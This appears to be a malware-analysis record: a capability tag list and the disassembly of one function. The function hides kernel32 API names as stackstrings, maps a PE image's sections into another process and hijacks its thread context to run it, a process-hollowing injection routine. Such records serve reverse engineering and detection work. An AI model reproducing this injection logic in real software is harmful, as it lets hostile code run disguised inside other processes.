Function at 0x1400166d0
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], r8
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov r15, r9
mov r14, rdx
mov r12, rcx
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0x64], edi
lea rcx, [rsp + 0x64]
call fcn.140006270
mov ebx, eax
xor sil, sil
cmp byte [rbp + 0xd8], sil
je 0x14001686e
call fcn.140026fe0
mov rcx, rax
test rax, rax
je 0x140016d49
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x40], rax
movzx r9d, byte [rbp + 0xd0]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x28]
mov ecx, ebx
call fcn.140016290
mov rbx, qword [rbp - 0x40]
test al, al
je 0x140016813
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140016813
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rdi + 3]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14005aee0
test eax, eax
je 0x1400167e6
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
call fcn.14005b010
test eax, eax
je 0x1400167bf
mov sil, 1
jmp 0x14001684c
mov word [rsp + 0x60], 0x3231
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0x60]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x1400167d3
mov r8d, eax
lea rdx, [rsp + 0x60]
jmp 0x140016843
mov word [rsp + 0x60], 0x3131
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0x60]
mov rax, rdi
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140016800
mov r8d, eax
lea rdx, [rsp + 0x60]
jmp 0x140016843
mov dword [rsp + 0x60], 0x5f3031
lea rcx, [rsp + 0x60]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140016823
mov r8d, eax
lea rdx, [rsp + 0x60]
mov rcx, r15
call fcn.140022a70
mov r8d, dword [rbx - 0x10]
mov rdx, rbx
mov rcx, r15
call fcn.140022a70
nop
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140016865
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test sil, sil
je 0x140016d2b
mov dword [rsp + 0x74], 0x32336c65
mov word [rsp + 0x71], 0x7265
mov dword [rsp + 0x78], 0x6c6c642e
mov byte [rsp + 0x70], 0x4b
mov byte [rsp + 0x73], 0x6e
mov byte [rsp + 0x7c], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140016cf7
mov dword [rbp - 0x69], 0x6f436461
mov dword [rbp - 0x64], 0x74786574
mov dword [rbp - 0x70], 0x54746553
mov byte [rbp - 0x60], 0
mov word [rbp - 0x6c], 0x7268
mov byte [rbp - 0x6a], 0x65
mov byte [rbp - 0x65], 0x6e
lea rdx, [rbp - 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14016a008], rax
mov word [rbp - 0x7f], 0x7365
mov word [rbp - 0x79], 0x7268
mov word [rbp - 0x7c], 0x656d
mov word [rbp - 0x76], 0x6461
mov byte [rbp - 0x77], 0x65
mov byte [rbp - 0x7d], 0x75
mov byte [rbp - 0x80], 0x52
mov byte [rbp - 0x7a], 0x54
mov byte [rbp - 0x74], 0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14016a000], rax
mov dword [rbp - 0x4f], 0x636f7250
mov word [rbp - 0x55], 0x696d
mov dword [rbp - 0x4b], 0x737365
mov word [rbp - 0x52], 0x7461
mov word [rbp - 0x57], 0x7265
mov byte [rbp - 0x50], 0x65
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x58], 0x54
lea rdx, [rbp - 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140169ff8], rax
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x140016c82
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
cmp dword [rsi], 0x4550
jne 0x140016c60
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.14005b260
movzx eax, word [rsi + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x1400169ac
cmp dword [rsp + 0x60], 0
jmp 0x1400169bb
mov ecx, 0x8664
cmp ax, cx
jne 0x1400169c1
cmp dword [rsp + 0x60], 6
jne 0x140016d2b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
xorps xmm1, xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x60], rax
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 0x101
mov word [rbp + 0x40], ax
cmp byte [rbp + 0xd8], al
lea rax, [rbp - 0x20]
je 0x140016a37
mov qword [rsp + 0x50], rax
lea rax, [rbp]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x38], rax
mov r8, qword [rbp + 0xb0]
mov rdx, r14
mov rcx, qword [rbp - 0x30]
call fcn.14005b110
jmp 0x140016a54
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov rdx, qword [rbp + 0xb0]
mov rcx, r14
call fcn.14005ef90
test eax, eax
je 0x140016c3e
mov edx, 8
call fcn.14005deb0
mov r14, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.14005c230
test eax, eax
je 0x140016c1c
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
lea r8, [rbp - 8]
mov rcx, qword [rbp - 0x20]
call fcn.14005c3c0
mov eax, dword [rbp - 8]
lea rcx, [rsp + 0x64]
cmp rax, qword [rsi + 0x30]
mov rax, rdi
jne 0x140016acc
mov dword [rsp + 0x67], 0x5f6f6f
mov word [rsp + 0x65], 0x676d
mov byte [rsp + 0x64], 0x69
inc rax
cmp byte [rcx + rax], 0
jne 0x140016ac1
jmp 0x140016ae9
mov dword [rsp + 0x67], 0x5f6666
mov word [rsp + 0x64], 0x6d69
mov byte [rsp + 0x66], 0x67
inc rax
cmp byte [rcx + rax], 0
jne 0x140016ae0
mov r8d, eax
lea rdx, [rsp + 0x64]
mov rcx, qword [rbp + 0xc0]
call fcn.140022a70
mov eax, 4
mov ecx, 0x40
cmp byte [rbp + 0xc8], 0
cmovne eax, ecx
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov rcx, qword [rbp - 0x20]
call fcn.14005df80
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140016bd2
mov r9d, dword [rsi + 0x54]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp - 0x20]
call fcn.14005c140
movzx ebx, word [rsi + 0x14]
add rbx, 0x2c
xor r15d, r15d
mov edi, r15d
cmp r15w, word [rsi + 6]
jae 0x140016b88
add rbx, rsi
nop dword [rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r12
mov edx, dword [rbx - 8]
add rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x20]
call fcn.14005c140
lea rbx, [rbx + 0x28]
inc edi
movzx eax, word [rsi + 6]
cmp edi, eax
jl 0x140016b60
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov r9d, 8
lea r8, [rbp - 0x40]
mov rcx, qword [rbp - 0x20]
call fcn.14005c140
mov eax, dword [rsi + 0x28]
add rax, qword [rbp - 0x40]
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rbp - 0x18]
call qword [0x14016a008]
mov rcx, qword [rbp - 0x18]
call qword [0x14016a000]
mov bl, 1
jmp 0x140016cc0
mov word [rbp + 0xd8], 0x3831
mov byte [rbp + 0xda], 0
lea rax, [rbp + 0xd8]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140016bf0
mov r8d, edi
lea rdx, [rbp + 0xd8]
mov rcx, r15
call fcn.140022a70
xor edx, edx
mov rcx, qword [rbp - 0x20]
call qword [0x140169ff8]
jmp 0x140016cbb
mov word [rbp + 0xd9], 0x37
mov byte [rbp + 0xd8], 0x31
lea rax, [rbp + 0xd8]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140016c33
jmp 0x140016bf9
mov word [rbp + 0xd8], 0x3631
mov byte [rbp + 0xda], 0
lea rax, [rbp + 0xd8]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140016c55
jmp 0x140016ca9
mov word [rbp + 0xd8], 0x3531
mov byte [rbp + 0xda], 0
lea rax, [rbp + 0xd8]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140016c77
jmp 0x140016ca9
mov word [rbp + 0xd9], 0x34
mov byte [rbp + 0xd8], 0x31
lea rax, [rbp + 0xd8]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140016ca0
mov r8d, edi
lea rdx, [rbp + 0xd8]
mov rcx, r15
call fcn.140022a70
xor bl, bl
xor r15d, r15d
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140016cd2
call fcn.14005fa70
mov qword [rbp - 0x38], r15
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140016ce4
call fcn.14005eb50
mov qword [rbp - 0x30], r15
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140016cf2
call fcn.14005eb50
movzx eax, bl
jmp 0x140016d2d
mov word [rbp + 0xd8], 0x3331
mov byte [rbp + 0xda], 0
lea rax, [rbp + 0xd8]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x140016d10
mov r8d, edi
lea rdx, [rbp + 0xd8]
mov rcx, r15
call fcn.140022a70
xor al, al
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov ecx, 0x80004005
call fcn.140027260
int3